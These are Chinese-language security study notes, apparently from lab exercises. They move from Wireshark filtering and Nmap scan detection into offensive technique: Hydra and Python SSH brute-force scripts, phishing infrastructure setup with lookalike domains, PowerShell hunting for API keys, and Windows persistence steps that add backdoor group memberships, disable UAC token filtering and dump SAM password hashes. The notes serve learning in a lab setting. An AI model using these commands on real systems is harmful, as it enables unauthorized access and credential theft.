可以帮助分析师指出感兴趣的事件或从捕获中导出特定数据包。 您可以使用**“编辑”**或 “右键单击”菜单来标记/取消标记数据包。

标记的数据包将显示为黑色,无论原始颜色代表什么连接类型。请注意,标记的数据包信息在每个文件会话中都会更新,因此关闭捕获文件后标记的数据包将丢失。

数据包注释

为特定数据包添加注释,这将有助于进一步调查或提醒并指出其他层分析师的重要/可疑点。与数据包标记不同,注释可以保留在捕获文件中,直到操作员将其删除。

导出数据包

使用文件-> 导出特定分组

Wireshark 可以提取通过网络传输的文件,发现共享文件并保存以供进一步调查至关重要。导出对象仅适用于选定协议的流(DICOM、HTTP、IMF、SMB和 TFTP)。

Wireshark 会列出捕获的数据包,默认以“自捕获开始以来的秒数”显示时间,常见用法是使用 UTC 时间显示格式以获得更好的视图。您可以使用 “视图 --> 时间显示格式” 菜单来更改时间显示格式。

专家信息

Wireshark 还可以检测协议的特定状态,存在误报/漏报的可能性

Colour Info
Chat 有关通常工作流程的信息。
Note 值得注意的事件,例如应用程序错误代码
Warn 黄色
Error 红色

常遇信息

Group Info Group Info
Checksum 校验和错误 Deprecated 弃用协议使用
Comment 数据包注释检测 Malformed 畸形数据包检测

使用状态栏中的**“左下角”或“分析 --> 专家信息”**菜单通过对话框查看所有可用的信息条目。它将显示数据包编号、摘要、组协议和总发生次数。

数据包过滤

Wireshark 有两种过滤方法:捕获过滤器和显示过滤器。捕获过滤器用于 仅“捕获”对所用过滤器有效的数据包。显示过滤器用于 “查看”对所用过滤器有效的数据包。

Wireshark 提供了强大的GUI,对于不想为基本任务编写查询的分析师来说,有一条黄金法则: “如果您可以单击它,您就可以过滤和复制它”

应用为过滤器

这是过滤流量的最基本方法。在调查捕获文件时,您可以单击要过滤的字段,然后使用 “右键菜单”或 “分析 –> 应用为过滤器” 菜单来过滤特定值。应用过滤器后,Wireshark 将生成所需的过滤器查询,应用它,根据您的选择显示数据包,并从数据包列表窗格中隐藏未选择的数据包。请注意,总数据包数和显示的数据包数始终显示在状态栏上。

对话过滤器

当您使用“应用为过滤器”选项时,您将仅过滤数据包的单个实体。此选项是调查数据包中特定值的好方法。但是,假设您想通过关注 IP 地址和端口号来调查特定数据包编号和所有链接数据包。在这种情况下,“对话过滤器”选项可帮助您仅查看相关数据包并轻松隐藏其余数据包。您可以使用“右键菜单”或“分析 --> 对话过滤器”菜单来过滤对话。

着色对话

与“对话过滤器”类似,但有一个区别。它突出显示链接的数据包而不应用显示过滤器并减少查看的数据包数量。此选项与“着色规则”选项配合使用,可更改数据包颜色而不考虑先前应用的颜色规则。您可以使用 “右键菜单”或**“查看 --> 着色对话”**菜单单击即可为链接的数据包着色。请注意,您可以使用 “查看 --> 着色对话 --> 重置着色” 菜单撤消此操作。

准备过滤器

使用“右键单击”菜单创建显示过滤器。但是,与前一个模型不同,此模型不会在选择后应用过滤器。它会将所需的查询添加到窗格中,并等待执行

申请为列

可以使用 “右键菜单” 或 “分析 *–>* 应用为列” 菜单将列添加到数据包列表窗格。 单击某个值并将其应用为列后,它将显示在数据包列表窗格中。可以通过单击数据包列表窗格顶部来启用/禁用数据包列表窗格中显示的列。

追踪流

Wireshark 以数据包部分大小显示所有内容。但是,可以重建流并查看应用程序级别呈现的原始流量。根据协议,流可帮助分析师重建应用程序级数据并了解感兴趣的事件。还可以查看未加密的协议数据,如用户名、密码和其他传输的数据。

可以使用“右键菜单”或 “分析 –> 跟踪 TCP/UDP/HTTP 流” 菜单来跟踪流量流。流量显示在单独的对话框中;来自服务器的数据包以蓝色突出显示,来自客户端的数据包以红色突出显示。

一旦您跟踪某个流,Wireshark 就会自动创建并应用所需的过滤器来查看特定流。请记住,一旦应用过滤器,查看的数据包数量就会发生变化。您需要使用显示过滤器栏右上方的 “ X 按钮”来删除显示过滤器并查看捕获文件中所有可用的数据包。

高级数据包操作

统计数据

提供了多个可供调查的统计选项,以帮助用户了解流量范围、可用协议、端点和对话以及某些协议特定详细信息(如 DHCP、DNS 和HTTP /2)的总体情况。

  • 已解析的地址

通过提供已解析地址及其主机名的列表,帮助识别捕获文件中可用的IP 地址和DNS名称。请注意,主机名信息取自捕获文件中的DNS信息。分析师可以使用此菜单快速识别访问的资源。因此,他们可以发现访问的资源并根据感兴趣的事件对其进行评估。您可以使用 “统计 --> 已解析地址” 菜单查看 Wireshark 解析的所有地址。

  • 协议分级

细分捕获文件中所有可用的协议,并帮助根据数据包计数器和百分比以树状视图查看协议。因此,可以查看端口和服务的总体使用情况,并专注于感兴趣的事件。上面提到的黄金法依然有效;可以右键单击并过滤感兴趣的事件。您可以使用 “统计信息 --> 协议分级” 菜单查看此信息。

  • 会话

表示两个特定端点之间的流量。提供五种基本格式的对话列表:以太网、IPv4、IPv6、TCP 和 UDP。因此,可以识别所有对话并联系相关事件的端点。 您可以使用 “统计 --> 会话” 菜单查看此信息。

  • 端点

与会话选项类似。唯一的区别是此选项为单个信息字段(以太网、IPv4、IPv6、TCP 和 UDP)提供唯一信息。因此,分析师可以识别捕获文件中的唯一端点并将其用于感兴趣的事件。 您可以使用 “统计 --> 端点” 菜单查看此信息。

Wireshark 还支持使用 IEEE 指定的制造商名称将 MAC 地址解析为人性化格式。请注意,此转换是通过 MAC 地址的前三个字节完成的,并且仅适用于已知制造商。查看以太网端点时,可以使用端点窗口左下角的**“名称解析”按钮**激活此选项。

  • IPV4和IPV6

统计信息菜单有两个选项,用于缩小包含特定 IP 版本的数据包的统计信息。因此,可以在一个窗口中识别和列出与特定 IP 版本相关的所有事件,并将其用于感兴趣的事件。您可以使用 “统计信息 --> IPvX 统计信息” 菜单查看此信息。

  • DNS

此选项会分解捕获文件中的所有 DNS 数据包,并帮助分析师根据数据包计数器和 DNS 协议百分比以树状视图查看结果。因此,分析师可以查看 DNS 服务的整体使用情况,包括 rcode、opcode、类、查询类型、服务和查询统计信息,并将其用于感兴趣的事件。您可以使用 “统计信息 --> DNS” 菜单查看此信息。

  • HTTP

此选项会细分捕获文件中的所有 HTTP 数据包,并帮助分析师根据数据包计数器和 HTTP 协议百分比以树状视图查看结果。因此,分析师可以查看 HTTP 服务的总体使用情况,包括请求和响应代码以及原始请求。 您可以使用 “统计信息 --> HTTP” 菜单查看此信息。

过滤器语法

Wireshark 中有两种类型的过滤器。虽然两者都使用类似的语法,但它们的用途不同。让我们记住这两个类别之间的区别。

捕获过滤器 这种类型的过滤器用于仅保存流量的特定部分。它在捕获流量之前设置,并且在捕获期间不可更改。
显示过滤器 这种类型的过滤器用于通过减少可见数据包的数量来调查数据包,并且可以在捕获过程中进行更改。

您不能将显示过滤器表达式用于捕获流量,反之亦然。

捕获过滤器语法

这些过滤器使用字节偏移十六进制值和带有布尔运算符的掩码,乍一看很难理解/预测过滤器的用途。基本语法解释如下:

  • 范围: host, net, port and portrange
  • 方向: src, dst, src or dst, src and dst,
  • 协议: ether、wlan、ip、ip6、arp、rarp、tcp 和 udp。
  • 捕获端口 80 流量的过滤器示例: tcp port 80

您可以从 这里这里阅读有关捕获过滤器语法的更多信息。 **“捕获 --> 捕获过滤器”**菜单下提供了快速参考。

显示过滤器语法

Wireshark最强大的功能,支持3000种协议,并允许在协议细分下进行数据包级别的搜索。官方的“显示过滤器参考”提供了所有支持的协议细分供过滤。

  • 捕获端口 80 流量的过滤器示例: tcp.port == 80

Wireshark 有一个内置选项(显示过滤器表达式),其中存储了所有支持的协议结构,以帮助分析人员创建显示过滤器。我们稍后会介绍“显示过滤器表达式”菜单。现在让我们了解显示过滤器操作的基础知识。在**“分析 --> 显示过滤器”**菜单下有一个快速参考。

比较运算符

符号 例子 例子
== 平等的 ip.src == 10.10.10.100
!= 不等于 ip.src != 10.10.10.100
> 大于 ip.ttl > 250
< 少于 ip.ttl < 10
>= 大于或等于 ip.ttl >= 0xFA
<= 小于或等于 ip.ttl <= 0xA

Wireshark 支持使用十进制和十六进制值进行过滤。

逻辑表达式

Wireshark 支持布尔语法。您也可以使用逻辑运算符创建显示过滤器。

符号 描述 例子
&& 逻辑与 (ip.src == 10.10.10.100) AND (ip.src == 10.10.10.111)
|| 逻辑或 (ip.src == 10.10.10.100) OR (ip.src == 10.10.10.111)
逻辑非 !(ip.src == 10.10.10.222)**注意:**不推荐 使用!=value ;使用它可能会产生不一致的结果。使用!(value) 建议采用这种风格以获得更一致的结果。

数据包过滤器工具栏

是创建和应用显示过滤器的地方。

  • 数据包过滤器以小写定义。
  • 数据包过滤器具有自动完成功能,可以分解协议细节,每个细节都用“点”表示。
  • 数据包过滤器有三种颜色表示,绿色:有效过滤器;红色:无效过滤器;黄色:警告过滤器。此过滤器有效,但不可靠,建议使用有效的过滤器进行更换。

常见数据包过滤器

  • IP筛选器
筛选 描述
ip 显示所有 IP 数据包。
ip.addr == 10.10.10.111 显示所有包含 IP 地址 10.10.10.111 的数据包。
ip.addr == 10.10.10.0/24 显示所有包含来自 10.10.10.0/24 子网的 IP 地址的数据包。
ip.src == 10.10.10.111 显示所有来自 10.10.10.111 的数据包
ip.dst == 10.10.10.111 显示所有发送到 10.10.10.111 的数据包

ip.addr 过滤流量时不考虑数据包方向。ip.src/ip.dst 根据数据包方向过滤数据包。

  • TCP和UDP过滤器

根据数据包中的协议级信息(OSI 模型的传输层)过滤流量。这些过滤器过滤传输协议级信息,如源端口和目标端口、序列号、确认号、窗口大小、时间戳、标志、长度和协议错误。

筛选 描述 筛选 表达
tcp.port == 80 显示端口 80 的 所有TCP数据包 udp.port == 53 显示端口 53 的所有UDP数据包
tcp.srcport == 1234 显示来自端口 1234 的所有TCP数据包 udp.srcport == 1234 显示来自端口 1234 的所有UDP数据包
tcp.dstport == 80 显示发送到端口 80 的所有TCP数据包 udp.dstport == 5353 显示发送到端口 5353 的所有UDP数据包
  • 应用程序级协议过滤器 | HTTP和DNS
筛选 描述 筛选 描述
http 显示所有HTTP数据包 dns 显示所有DNS数据包
http.response.code == 200 显示所有带有 HTTP 响应代码“200”的数据包 dns.flags.response == 0 显示所有DNS请求
http.request.method == "GET" 显示所有HTTP GET 请求 dns.flags.response == 1 显示所有DNS响应
http.request.method == "POST" 显示所有HTTP POST 请求 dns.1 显示所有 DNS“A”记录

Wireshark 有一个内置选项(显示过滤器表达式),可存储所有支持的协议结构,以帮助分析师创建显示过滤器。当分析师无法回忆起特定协议所需的过滤器或不确定过滤器的可分配值时,显示过滤器表达式菜单提供了一个易于使用的显示过滤器构建器指南。它位于 “分析 --> 显示过滤器表达式” 菜单下。

不可能记住每个协议的显示过滤器的所有细节。每个协议可以有不同的字段,并且可以接受各种类型的值。显示过滤器表达式菜单显示所有协议字段、接受的值类型(整数或字符串)和预定义值(如果有)。请注意,掌握创建过滤器和学习协议过滤器字段需要时间和练习。

高级过滤

关注感兴趣事件的特定数据包详细信息

  • 关键字:contains

搜索数据包内的值。它区分大小写,并通过关注特定字段提供与“查找”选项类似的功能。

例子:列出所有数据包的“服务器”字段包含“Apache”关键字的 HTTP 数据包。

http.server contains "Apache"

  • matches

搜索正则表达式的模式。它不区分大小写,复杂查询有一定的误差范围。

例子: 查找所有 .php 和 .html 页面(列出所有 数据包的“主机”字段与关键字“.php”或“.html”匹配的HTTP数据包。)

http.host matches "\.(php|html)"

  • in

搜索特定范围/范围内的值或字段。

例子:列出所有数据包“端口”字段的值为 80、443 或 8080 的 TCP 数据包。

tcp.port in {80 443 8080}

  • upper

将字符串值转换为大写。

例子:将所有 HTTP 数据包的“服务器”字段转换为大写,并列出包含“APACHE”关键字的数据包。

upper(http.server) contains "APACHE"

  • lower

将字符串值转换为小写。

lower(http.server) contains "apache"

  • string

将非字符串值转换为字符串。

查找所有具有奇数的帧。string(frame.number) matches "[13579]$"

创建的过滤器可以保存为书签和按钮以供日后使用

WireShark流量分析

Nmap扫描

最常用的网络扫描工具之一,识别最常见的Nmap扫描类型。

TCP标志

笔记 Wireshark 过滤器
全局搜索 tcpudp
仅 SYN 标志。
SYN 标志已设置。其余位不重要。
tcp.flags == 2
tcp.flags.syn == 1
仅 ACK 标志。
ACK 标志已设置。其余位不重要。
tcp.flags == 16
tcp.flags.ack == 1
仅 SYN、ACK 标志。
SYN 和 ACK 已设置。其余位不重要。
tcp.flags == 18
(tcp.flags.syn == 1) and (tcp.flags.ack == 1)
仅 RST 标志。
RST 标志已设置。其余位不重要。
tcp.flags == 4
tcp.flags.reset == 1
只有 RST、ACK 标志。
RST 和 ACK 已设置。其余位不重要。
tcp.flags == 20
(tcp.flags.reset == 1) and (tcp.flags.ack == 1)
仅 FIN 标志
FIN 标志已设置。其余位不重要。
tcp.flags == 1
tcp.flags.fin == 1

TCP扫描

  • 依赖于三次握手(需要完成握手过程)。
  • 通常通过nmap -sT 命令进行。
  • 由非特权用户使用(非 root 用户的唯一选项)。
  • 由于协议的性质,请求需要一些数据,因此窗口大小通常大于 1024 字节。

端口打开:

1
2
3
4
SYN -->
<-- SYN,ACK
ACK -->
RST,ACK -->

端口关闭:

1
2
SYN -->
<-- RST,ACK

在大型文件中不易发现,需要使用通用过滤器来查看初始异常模式,然后更容易将注意力集中在特定的流量点上。给定的过滤器显示捕获文件中的TCP Connect 扫描模式。

tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024

SYN扫描

  • 不依赖于三次握手(不需要完成握手过程)。
  • 通常通过 nmap -sS 命令进行。
  • 由特权用户使用。
  • 通常大小小于或等于 1024 字节,因为请求尚未完成并且不希望接收数据。

打开端口:

1
2
3
SYN -->
<-- SYN,ACK
RST -->

关闭端口:

1
2
SYN -->
<-- RST,ACK

如下过滤器 在捕获文件中显示TCP SYN 扫描模式。

1
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024

UDP扫描

  • 不需要握手过程
  • 没有打开端口的提示
  • 关闭端口的 ICMP 错误消息
  • 通常通过 nmap -sU 命令进行。

打开端口:

1
UDP packet -->

关闭端口

1
2
UDP packet -->
ICMP Type 3, Code 3 message.(Destination unreachable, port unreachable)

过滤器:

1
icmp.type==3 and icmp.code==3 

工具-Hydra

一款暴力在线密码破解程序,一种快速系统登录密码“破解”工具。

根据其官方存储库,Hydra 支持(即有能力)暴力破解以下协议:“Asterisk、AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、HTTP -FORM-GET、HTTP -FORM-POST、HTTP -GET、 HTTP -HEAD、HTTP -POST、HTTP -PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTPS-POST、HTTP -Proxy、ICQ、IMAP、IRC、LDAP、MEMCACHED、MONGODB、MS-SQL、MYSQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、Radmin、RDP、Rexec、Rlogin、Rsh、RTSP、SAP/R3、SIP、SMB、SMTP 、 SMTP Enum、SNMP v1+v2+v3、SOCKS5、SSH(v1 和 v2)、SSHKEY、Subversion、TeamSpeak(TS2)、Telnet、VMware-Auth、VNC 和 XMPP。”

我们传递给 Hydra 的选项取决于我们要攻击的服务(协议),一般命令如下

hydra -l <username> -P <wordlist.txt> <server> <service>

ssh

hydra -l <username> -P <full path to pass> 10.10.223.175 -t 4 ssh

-t设置要生成的线程数

hydra也可用来暴力破解Web表单,必须知道它发出的是哪种类型的请求;通常使用 GET 或 POST 方法。例如

sudo hydra <username> <wordlist> 10.10.223.175 http-post-form "<path>:<login_credentials>:<invalid_response>"

选项 描述
-l (Web 表单)登录的用户名
-P 要使用的密码列表
http-post-form 表单类型为 POST
<path> 登录页面 URL,例如login.php
<login_credentials> 用于登录的用户名和密码,例如, username=^USER^&password=^PASS^
<invalid_response> 登录失败时的部分响应
-V 每次尝试的详细输出

下面是一个更具体的Hydra命令示例,用于强制执行 POST 登录表单:

hydra -l <username> -P <wordlist> 10.10.223.175 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

指定的用户名将替换^USER^,提供的密码将取代^PASS^F=incorrect是登录失败时服务器回复中出现的字符串

python脚本

利用好脚本语言自动化完成渗透任务,python语法不多赘述

py2exe工具可用于将 Python 脚本转换为 Windows 可执行文件

常见场景练习:

  • 子域名枚举
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import sys

sub_list = open("wordlist.txt").read()
subdoms = sub_list.splitlines()

for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"

try:
requests.get(sub_domains)

except requests.ConnectionError:
pass

else:
print("Valid domain: ",sub_domains)
  • 目录枚举
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import sys

sub_list = open("wordlist.txt").read()
directories = sub_list.splitlines()

for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)
  • 端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys
import socket
import pyfiglet # 用于艺术字😋


ascii_banner = pyfiglet.figlet_format("Port Scanner")
print(ascii_banner)


ip = '192.168.1.6'
# ip = socket.gethostbyname(host)
open_ports =[]

ports = range(1, 65535) # 可修改为扫描常用端口
# ports = { 21, 22, 23, 53, 80, 135, 443, 445}


def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result


for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)


if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")

文件下载

1
2
3
4
5
import requests

url = 'https://<url>/<file_name>'
r = requests.get(url, allow_redirects=True)
open('<file_name>', 'wb').write(r.content)

SSH破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import paramiko
import sys
import os

target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))

def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code

with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()

try:
response = ssh_connect(password)

if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass

input_file.close()

OWASP十大漏洞

  • 访问控制失效
  • 破解加密
  • 注入
  • 不安全的设计
  • 安全配置错误
  • 易受攻击和过时的组件
  • 身份认证失效
  • 软件和数据完整性故障
  • 安全日志和监控失效
  • 服务端请求伪造(SSRF)

网络钓鱼

红队攻击的重要手段

准备:

  • **域名:**注册一个看起来真实的域名或一个模仿其他域名身份的域名。

    ​ 具有一定历史的域名可能会让您的域名在垃圾邮件过滤器避免被过滤

    ​ 注册域名与您试图冒充的目标域名非常相似

    ​ 更换顶级域名以冒充

    ​ IDN 同形异义词攻击

    例如,Unicode 字符 U+0430(西里尔文小写字母 a)看起来与英语中使用的 Unicode 字符 U+0061(拉丁文小写字母 a)相同

  • **SSL/TLS 证书:**为您选择的域名创建 SSL/TLS 证书将为攻击增加额外的真实性。

  • **电子邮件服务器/帐户:**设置电子邮件服务器或向SMTP电子邮件提供商注册。

  • **DNS记录:**设置 DNS 记录(例如 SPF、DKIM、DMARC)将提高电子邮件的传递率,并确保它们进入收件箱而不是垃圾邮件文件夹。

  • **Web 服务器:**设置网络服务器或从公司购买网络托管服务来托管您的钓鱼网站。

  • **分析:**保存分析信息,跟踪已发送、打开或点击的电子邮件

  • 自动化软件:

    GoPhish-(开源网络钓鱼框架)-getgophish.com

    教程

    SET-(社会工程学工具包)-trustedsec.com

在网络钓鱼活动中,通常会将 Microsoft Office 文档(通常是 Word、Excel 或 PowerPoint)作为附件包含在内。Office 文档可以包含宏;可能导致恶意软件安装到受害者的计算机上或重新连接到攻击者的网络并允许攻击者控制受害者的计算机。

利用浏览器漏洞,例如CVE -2021-40444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444)

Windows安全

PowerShell

使用.NET框架构建的Windows脚本语言和shell环境,

这也允许 Powershell 直接从其 shell 执行 .NET 函数。大多数 Powershell 命令(称为cmdlet)都是用 .NET 编写的。与其他脚本语言和 shell 环境不同,这些**cmdlet的输出 是对象 - 这使得 Powershell 在某种程度上是面向对象的。

这也意味着运行cmdlet允许您对输出对象执行操作(这使得将输出从一个cmdlet传递 到另一个 cmdlet 变得很方便)。cmdlet 的正常格式使用动词-名词表示;例如, 列出命令的cmdlet称为Get-Command

  • 常用命令

Get-Help

显示有关*cmdlet 的信息。*要获取特定命令的帮助,请运行以下命令:

Get-Help Command-Name

您还可以通过传入-examples选项来了解如何准确使用该命令。


Get-Command

获取当前计算机上安装的所有cmdlet 。此cmdlet的优点 在于它允许进行模式匹配

如:Get-Command Verb-*或者Get-Command *-Noun


对象操作:

每个cmdlet的输出 都是一个对象。如果我们想要操作输出,我们需要弄清楚以下几点:

  • 将输出传递给其他cmdlet
  • 使用特定对象cmdlet 来提取信息

Pipeline( |) 用于将输出从一个cmdlet传递 到另一个。与其他 shell 相比,一个主要区别是 Powershell 将对象传递给下一个cmdlet,而不是将文本或字符串传递给管道后的命令。与面向对象框架中的每个对象一样,对象将包含方法和属性。

您可以将方法视为可应用于 cmdlet 输出的函数*,* 并将属性视为cmdlet输出中的变量。要查看这些详细信息,请将**cmdlet的输出传递 给Get-Member cmdlet:

如:Get-Command | Get-Member -MemberType Method

从以前的cmdlet创建对象

操作对象的一种方法是从cmdlet的输出中提取属性并创建新对象。这是使用Select-Object cmdlet 完成的

以下是列出目录并通过模式和名称进行过滤Get-ChildItem | Select-Object -Property

过滤对象

检索输出对象时,您可能希望选择与特定值匹配的对象。您可以使用Where-Object基于属性值的过滤器来执行此操作。

使用此cmdlet 的一般格式 为

1
2
Verb-Noun | Where-Object -Property PropertyName -operator Value
Verb-Noun | Where-Object {$_.PropertyName -operator Value}

第二个版本使用$_运算符来遍历传递给Where-Object cmdlet的每个对象。

Powershell 非常敏感,所以不要在命令周围加上引号!

-operator以下运算符的列表在哪里:

  • -Contains:如果属性值中的任何项与指定值完全匹配
  • -EQ:如果属性值与指定值相同
  • -GT:如果属性值大于指定值

检查已停止进程的示例:Get-Service | Where-Object -Property Status -eq Stopped

排序对象

cmdlet输出大量信息时,您可能需要对其进行排序,以便更有效地提取信息。您可以通过将 cmdlet 的输出通过管道传输 cmdlet 来Sort-Object 实现这一点。

该命令的格式为:

1
Verb-Noun | Sort-Object

对目录列表进行排序:Get-ChildItem | Sort-Object

例子:

1、搜索文件“interesting-file.txt”的位置

1
Get-ChildItem “*interesting-file*” -Path C:\ -Recurse -ErrorAction SilentlyContinue

2、查看文件内容

1
Get-ChildItem “*interesting-file*” -Path C:\ -Recurse -ErrorAction SilentlyContinue | Get-Content

3、系统上安装了多少个 cmdlet(仅 cmdlet,不包括函数和别名)

1
(Get-Command | Where-Object {$_.CommandType -eq “Cmdlet”}).Count

4、获取 interesting-file.txt 的 MD5 哈希值

1
Get-ChildItem “*interesting-file*” -Path C:\ -Recurse -ErrorAction SilentlyContinue | Get-FileHash -Algorithm MD5

5、获取当前工作目录

1
Get-Location

信息收集

1、枚举机器上用户数量

1
(Get-LocalUser).Name.Count

2、查看当前系统中所有用户的SID

1
wmic useraccount get name,sid

3、此 SID(S-1-5-21-1394777289-3961777894-1791813945-501) 属于哪个本地用户

1
(Get-LocalUser | Select-Object * | Where-Object {$_.SID -eq “S-1521139477728939617778941791813945501”}).Name

4、有多少用户的密码要求值设置为 False

1
(Get-LocalUser | Select-Object * | Where-Object {$_.PasswordRequired -eq$Fales”}).Count

5、有多少Local group

1
(Get-LocalGroup).Name.Count

6、获取 IP 地址信息

1
Get-NetIPAddress

7、有多少个端口被列为正在监听

1
(Get-NetTCPConnection | Where-Object {$_.State -eq “Listen”}).Count

8、监听端口 445 的本地端口的远程地址是什么

1
Get-NetTCPConnection | Where-Object {($_.State -eq “Listen”) -and ($_.LocalPort -eq445”)}

9、已应用了多少个补丁

1
(Get-HotFix).Count

10、ID 为 KB4023834 的补丁是何时安装的

1
Get-HotFix | Where-Object {$_.HotFixID -eq “KB4023834”} | Select-Object * | Select-Object InstalledOn

11、查找备份文件的内容

1
Get-ChildItem “*.bak*” -Path C:\ -Recurse -ErrorAction SilentlyContinue | Get-Content

12、搜索所有包含 API_KEY 的文件

1
Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | Select-String “API_KEY”

13、列出所有正在运行的进程

1
Get-Process

14、名为new-sched-task的计划任务的路径是什么

1
(Get-ScheduledTask | Where-Object {$_.TaskName -eqnew-sched-task”}).TaskPath

15、C:\ 的所有者是谁

1
(Get-Acl -Path “C:\”).Owner

Powershell脚本

Powershell ISE(Powershell 文本编辑器),Powershell 脚本通常具有***.ps1*** 文件扩展名

powershell脚本语法


Windows 权限维持

远程连接Windows PS终端

1
evil-winrm -i 10.10.90.142 -u Administrator -p Password321

GUI连接

1
xfreerdp /u:Administrator /p:Password321 /v:10.10.90.142

在内网取得立足点后,建立持久性是我们作为攻击者在获得网络访问权限时要完成的首要任务之一。持久性是指创建替代方法来重新获得对主机的访问权限,而无需重新经历利用阶段。

原因:重新利用并不总是可行的(不稳定的漏洞)

​ 获得访问权难以重现(网络钓鱼)

​ 避免被蓝队发现

  • 篡改非特权账户

拥有管理员凭证是实现机器持久性的最简单方法。但是,为了让蓝队更难发现我们,我们可以操纵非特权用户(这些用户通常不会像管理员那样受到监控),并以某种方式授予他们管理权限。

分配群组成员资格

假设您已经转储了受害机器的密码哈希,并成功破解了正在使用的非特权帐户的密码。

让非特权用户获得管理权限的直接方法是使其成为管理员组的一部分。

1
net localgroup administrators thmuser0 /add

这将允许您使用RDP、WinRM 或任何其他可用的远程管理服务访问服务器。

如果这看起来太可疑,您可以使用Backup Operators组。此组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何配置的DACL。这将允许我们复制 SAM 和 SYSTEM 注册表配置单元的内容,然后我们可以使用它来恢复所有用户的密码哈希,从而使我们能够轻松升级到任何管理帐户。

为此,我们首先将帐户添加到备份操作员组:

1
net localgroup "Backup Operators" thmuser1 /add

由于这是一个非特权帐户,因此除非我们将其添加到远程桌面用户( RDP ) 或远程管理用户( WinRM ) 组,否则它无法通过RDP或 WinRM 返回计算机。我们将使用 WinRM 执行此任务

1
net localgroup "Remote Management Users" thmuser1 /add

此时有可能发现即使您属于 Backups Operators 组,您也无法按预期访问所有文件,快速检查我们分配的组会发现我们是 Backup Operators 的一部分,但该组已被禁用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\thmuser1\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

这是由于用户帐户控制 ( UAC ) 造成的。UAC 实现的功能之一 LocalAccountTokenFilterPolicy会在远程 登录时剥夺任何本地帐户的管理权限

为了能够重新获得用户的管理权限,我们必须通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

接下来再次登录发现可以正常行使权限,按照在提权部分提过的备份 SAM 和 SYSTEM的方式,转储所有用户的密码哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\Users\thmuser1\Documents> reg save hklm\system system.bak
The operation completed successfully.

*Evil-WinRM* PS C:\Users\thmuser1\Documents> reg save hklm\sam sam.bak
The operation completed successfully.

*Evil-WinRM* PS C:\Users\thmuser1\Documents> download system.bak

Info: Downloading C:\Users\thmuser1\Documents\system.bak to system.bak

Info: Download successful!
*Evil-WinRM* PS C:\Users\thmuser1\Documents> download sam.bak

Info: Downloading C:\Users\thmuser1\Documents\sam.bak to sam.bak

Info: Download successful!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(orac1e㉿LAPTOP-BNS9VG4K)-[~/THM]
└─$ python3 ../impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
